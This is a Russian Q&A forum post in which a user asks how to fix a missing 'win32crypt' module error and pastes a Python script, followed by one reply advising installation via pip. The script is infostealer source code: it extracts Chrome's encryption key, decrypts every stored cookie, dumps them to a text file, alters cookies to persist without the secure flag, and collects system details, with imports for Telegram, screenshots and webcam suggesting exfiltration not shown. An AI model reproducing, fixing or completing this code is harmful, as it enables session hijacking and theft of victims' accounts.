@zloynoname

Вылазиет ошибка не знаю как решить?

Traceback (most recent call last):
  File "code.py", line 8, in <module>
ModuleNotFoundError: No module named 'win32crypt'

код

import os
import sqlite3
import win32crypt
import shutil
import requests
import zipfile
import getpass
import ip2geotools
import win32api
import platform
import time
import cv2
import sys
import json,base64
from PIL import ImageGrab
from os.path import basename
from base64 import encodebytes
import random
import sqlite3
from shutil import copyfile
from time import sleep
from datetime import datetime, timedelta
import os
import telebot
import sys
import psutil
import GPUtil
from tabulate import tabulate
from Crypto.Cipher import AES


try:
    def get_chrome_datetime(chromedate):

        if chromedate != 86400000000 and chromedate:
            try:
                return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
            except Exception as e:
                print(f"Error: {e}, chromedate: {chromedate}")
                return chromedate
        else:
            return ""

    def get_encryption_key():
        local_state_path = os.path.join(os.environ["USERPROFILE"],
                                        "AppData", "Local", "Google", "Chrome",
                                        "User Data", "Local State")
        with open(local_state_path, "r", encoding="utf-8") as f:
            local_state = f.read()
            local_state = json.loads(local_state)

 
        key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])

        key = key[5:]

        return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]

    def decrypt_data(data, key):
        try:

            iv = data[3:15]
            data = data[15:]

            cipher = AES.new(key, AES.MODE_GCM, iv)

            return cipher.decrypt(data)[:-16].decode()
        except:
            try:
                return str(win32crypt.CryptUnprotectData(data, None, None, None, 0)[1])
            except:

                return ""

    def main():

        db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                                "Google", "Chrome", "User Data", "default", "Network", "Cookies")

        filename = 'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\Cookies.db'
        if not os.path.isfile(filename):

            shutil.copyfile(db_path, filename)


        db = sqlite3.connect(filename)
        cursor = db.cursor()

        cursor.execute("""
        SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value 
        FROM cookies""")
 
        key = get_encryption_key()
        for host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value in cursor.fetchall():
            if not value:
                decrypted_value = decrypt_data(encrypted_value, key)
            else:

                decrypted_value = value
            allcookie = f"""
            Хост: {host_key}
            Имя куки: {name}
            Значение куки (расшифрованный): {decrypted_value}
            Дата создания (UTC): {get_chrome_datetime(creation_utc)}
            Дата последнего доступа (UTC): {get_chrome_datetime(last_access_utc)}
            Дата истечение срока куки (UTC): {get_chrome_datetime(expires_utc)}
            ===============================================================
            """
            with open(os.getenv("APPDATA") + '\\chromecookie.txt', "a") as a:
                a.write(allcookie)

            cursor.execute("""
            UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999, is_persistent = 1, is_secure = 0
            WHERE host_key = ?
            AND name = ?""", (decrypted_value, host_key, name))


        db.commit()

        db.close()

    def main2():

        db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                                "Google", "Chrome", "User Data", "default", "Cookies")

        filename = 'C:\\Users\\' + getpass.getuser() + '\\AppData\\Roaming\\Cookies.db'
        if not os.path.isfile(filename):

            shutil.copyfile(db_path, filename)


        db = sqlite3.connect(filename)
        cursor = db.cursor()

        cursor.execute("""
        SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value 
        FROM cookies""")

        key = get_encryption_key()
        for host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value in cursor.fetchall():
            if not value:
                decrypted_value = decrypt_data(encrypted_value, key)
            else:

                decrypted_value = value
            allcookie = f"""
            Хост: {host_key}
            Имя куки: {name}
            Значение куки (расшифрованный): {decrypted_value}
            Дата создания (UTC): {get_chrome_datetime(creation_utc)}
            Дата последнего доступа (UTC): {get_chrome_datetime(last_access_utc)}
            Дата истечение срока куки (UTC): {get_chrome_datetime(expires_utc)}
            ===============================================================
            """
            with open(os.getenv("APPDATA") + '\\chromecookie.txt', "a") as a:
                a.write(allcookie)

            cursor.execute("""
            UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999, is_persistent = 1, is_secure = 0
            WHERE host_key = ?
            AND name = ?""", (decrypted_value, host_key, name))


        db.commit()

        db.close()
        
except:
    print('Нету хрома')

def get_size(bytes, suffix="B"):
    factor = 1024
    for unit in ["", "K", "M", "G", "T", "P"]:
        if bytes < factor:
            return f"{bytes:.2f}{unit}{suffix}"
        bytes /= factor
################################################################################
#                              ДАННЫЕ О КОМПЬЮТЕРЕ                             #
################################################################################

uname = platform.uname()

namepc = "\nИмя пк: " + str(uname.node)
countofcpu = psutil.cpu_count(logical=True)
allcpucount = "\nОбщее количество ядер процессора:" + str(countofcpu) 

cpufreq = psutil.cpu_freq()
cpufreqincy = "\nЧастота процессора: " + str(cpufreq.max) + 'Mhz'


svmem = psutil.virtual_memory()
allram = "\nОбщая память ОЗУ: " + str(get_size(svmem.total))
ramfree = "\nДоступно: " + str(get_size(svmem.available))
ramuseg = "\nИспользуется: " + str(get_size(svmem.used))







partitions = psutil.disk_partitions()
for partition in partitions:
    nameofdevice = "\nДиск: " + str(partition.device)
    nameofdick = "\nИмя диска: " + str(partition.mountpoint)
    typeoffilesystem = "\nТип файловой системы: " + str(partition.fstype)
    try:
        partition_usage = psutil.disk_usage(partition.mountpoint)
    except PermissionError:

        continue
    allstorage = "\nОбщая память: " + str(get_size(partition_usage.total))
    usedstorage = "\nИспользуется: " + str(get_size(partition_usage.used))
    freestorage = "\nСвободно: " + str(get_size(partition_usage.free))





gpus = GPUtil.getGPUs()
list_gpus = []
for gpu in gpus:

    gpu_name = "\nМодель видеокарты: " + gpu.name

  • Вопрос задан
  • 248 просмотров
Пригласить эксперта
Ответы на вопрос 1
Это значит, что у тебя нет модуля win32crypt
Его нужно установить через pip
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы